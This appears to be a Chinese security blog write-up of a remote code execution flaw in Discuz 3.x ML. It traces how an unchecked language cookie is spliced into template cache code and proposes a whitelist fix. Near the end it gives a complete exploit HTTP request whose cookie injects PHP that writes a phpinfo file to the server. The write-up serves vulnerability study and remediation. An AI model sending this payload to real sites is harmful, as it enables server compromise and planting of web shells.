Discuz 3.x ml! RCE分析

完整流程分析

先尝试报错,从=利用discuz自带的调用栈定位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /portal.php HTTP/1.1
Host: local.hundan.org
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://local.hundan.org/portal.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: bHideResizeNotice=1; YVRt_2132_saltkey=PZK5Mpll; YVRt_2132_lastvisit=1562924418; YVRt_2132_sid=q9KH9u; YVRt_2132_onlineusernum=1; YVRt_2132_sendmail=1; YVRt_2132_lastact=1562928273%09misc.php%09diyhelp; YVRt_2132_language=sc'.1.'; XDEBUG_SESSION=DEBUG
Connection: close


进入portal_index.php断下

可以想到,这个template函数应该是写了一个文件,然后返回了一个文件名,直接从函数的return开始检查,return有三个点

我们先按流程走一遍,进入template函数之后

对dz不是很熟悉,从命名来看,应该是允许插件对模板进行hook,这里没有插件,不进入逻辑,看第二个return,位于source/function/function_core.php:644

1
2
3
4
5
6
7
8
9
10
/*vot*/	$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).'.php')
&& !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.'.htm'))) {
$tplfile = './template/default/'.$filebak.'.htm';
}

if($gettplfile) {
return $tplfile;
}

检查默认模板是否有这个文件,有的话就赋值给$tplfile,不过这不是重点

$gettplfile是函数默认的参数,默认是0,全局暂时只发现source/class/class_template.php:328将其设为1,应该是渲染子模板用的,比如一个父模板里面使用{subtemplate}语法,就会进行子模板读取,这里用不到,所以也进不到这个return。

第三个return是刷新模板缓存后,返回了缓存路径,这是被利用的点。

1
2
checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file);
return DISCUZ_ROOT.$cachefile;

$cachefile在上面已经提到了,是这样获得的

1
$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';

里面拼接了DISCUZ_LANG STYLEID,不过分析文件名拼接没有意义,我们不需要获取文件名来getshell,因为前面已经被include了,我们跟一下checktplrefresh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function checktplrefresh($maintpl, $subtpl, $timecompare, $templateid, $cachefile, $tpldir, $file) {
static $tplrefresh, $timestamp, $targettplname;
if($tplrefresh === null) {
$tplrefresh = getglobal('config/output/tplrefresh');
$timestamp = getglobal('timestamp');
}

if(empty($timecompare) || $tplrefresh == 1 || ($tplrefresh > 1 && !($timestamp % $tplrefresh))) {
if(empty($timecompare) || @filemtime(DISCUZ_ROOT.$subtpl) > $timecompare) {
/*vot*/ require_once DISCUZ_ROOT.'./source/class/class_template.php';
$template = new template();
$template->parse_template($maintpl, $templateid, $tpldir, $file, $cachefile);
if($targettplname === null) {
$targettplname = getglobal('style/tplfile');
if(!empty($targettplname)) {
include_once libfile('function/block');
$targettplname = strtr($targettplname, ':', '_');
update_template_block($targettplname, getglobal('style/tpldirectory'), $template->blocks);
}
$targettplname = true;
}
return TRUE;
}
}
return FALSE;
}

如果发现需要刷新模板缓存的话,就进入parse_template这个方法,跟进,位于source/class/class_template.php:24

主要是解析模板的一些东西,主要看到105行

打开了模板文件(没有则创建),将上面函数解析好的模板写入,然后是一系列的回调,然后就结束了,不过通过模板套模板的形式,这个过程持续了多次,最终生成了四个缓存文件,并四次执行了我们想要的代码。

而模板内容,则来自传入parse_template的几个参数,首先根据template/default/portal/index.htm渲染了第一个文件,检查一下这个模板

1
2
3
4
5
6
7
<!--{template common/header}-->
<style id="diy_style" type="text/css"></style>
<div class="wp">
<!--[diy=diy1]--><div id="diy1" class="area"></div><!--[/diy]-->
</div>
<script src="misc.php?mod=diyhelp&action=get&type=index&diy=yes&r={echo random(4)}" type="text/javascript"></script>
<!--{template common/footer}-->

渲染后是这样的

1
2
3
4
5
<?php if(!defined('IN_DISCUZ')) exit('Access Denied'); hookscriptoutput('index');?><?php include template('common/header'); ?><style id="diy_style" type="text/css"></style>
<div class="wp">
<!--[diy=diy1]--><div id="diy1" class="area"></div><!--[/diy]-->
</div>
<script src="misc.php?mod=diyhelp&action=get&type=index&diy=yes&r=<?php echo random(4); ?>" type="text/javascript" type="text/javascript"></script><?php include template('common/footer'); ?>

因为这个模板本身被include了一次,所以这个代码被执行了,生成了common/header,我想相比文件名注入了代码,这里更像是造成代码执行的关键,位于template/default/common/header.htmheader_common.htm

渲染之后是这样的

这就很显然了,代码拼接,但是我们可以看到,模板里面并没有出现拼接的部分,显然这是parse_template渲染的代码,我们回到这个方法检查一下,source/class/class_template.php:70

模板渲染这里补充了越权检查和和一些缓存刷新的功能,在include第一个渲染好的模板之后,该模板再次渲染模板,并向缓存刷新功能处加入了需要被刷新的文件

真正造成影响的就是这个$cachefile,而$cachefile又由DISCUZ_LANG造成了可控,我们可以轻易地找到DISCUZ_LANG来自source/class/discuz/discuz_application.php:341

1
define('DISCUZ_LANG', $lng);

$lng在292-334被完整定义,关键的几行代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// set language from cookies
if($this->var['cookie']['language']) {
$lng = strtolower($this->var['cookie']['language']);
//DEBUG
//echo "Cookie lang=",$lng,"<br>";
}

// check if the language from GET is valid
if(isset($_GET['language'])) {
$tmp = strtolower($_GET['language']);
if(isset($this->var['config']['languages'][$tmp])) {
// set from GET
$lng = $tmp;
}
//DEBUG
//echo "_GET lang=",$lng,"<br>";
}

显然是被动态定义的,而且在赋值给DISCUZ_LANG之前并没有多余的安全检查。

尽管我们可以看到程序也试图从GET参数获取语言,但是却比从cookie获取多了一步检查,其实这是很令人疑惑的:为什么从cookie获取的就不检查了?

exp

有一个小问题,系统的文件命名有字符限制,需要编码一下,不然生成不了缓存文件,也不能用base64,会全部转小写,urlencode就可以了。

最后放一个本地的包

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /portal.php HTTP/1.1
Host: local.hundan.org
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://local.hundan.org/portal.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: bHideResizeNotice=1; YVRt_2132_saltkey=PZK5Mpll; YVRt_2132_lastvisit=1562924418; YVRt_2132_sid=q9KH9u; YVRt_2132_onlineusernum=1; YVRt_2132_sendmail=1; YVRt_2132_lastact=1562928273%09misc.php%09diyhelp; YVRt_2132_language=sc','','')%3bcall_user_func('file_put_contents',urldecode('%68%2e%70%68%70'),urldecode('%253c%253f%253d%2570%2568%2570%2569%256e%2566%256f%2528%2529%253b%253f%253e'))%3barray('; XDEBUG_SESSION=DEBUG
Connection: close

漏洞修复

上面分析了漏洞流程,但是有个问题没有提到:最后那个模板渲染是怎么渲染出来的?解决了这个问题,就可以修复漏洞了。

其实语言只有那么些,列个列表就可以了,我们可以看到多语言列表在这里

那么在source/class/discuz/discuz_application.php:304,将

1
2
3
4
5
6
if($this->var['cookie']['language']) {
$lng = strtolower($this->var['cookie']['language']);
//DEBUG
//echo "Cookie lang=",$lng,"<br>";
}

改为

1
2
3
4
5
6
7
8
9
10
if($this->var['cookie']['language']) {
$tmp = strtolower($this->var['cookie']['language']);
if(isset($this->var['config']['languages'][$tmp])) {
// set from Cookie
$lng = $tmp;
}
//DEBUG
//echo "Cookie lang=",$lng,"<br>";
}

修改前:

修改后:

Author: hundan
Link: https://hundan.org/2019/07/12/Discuz-3-x-ml/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.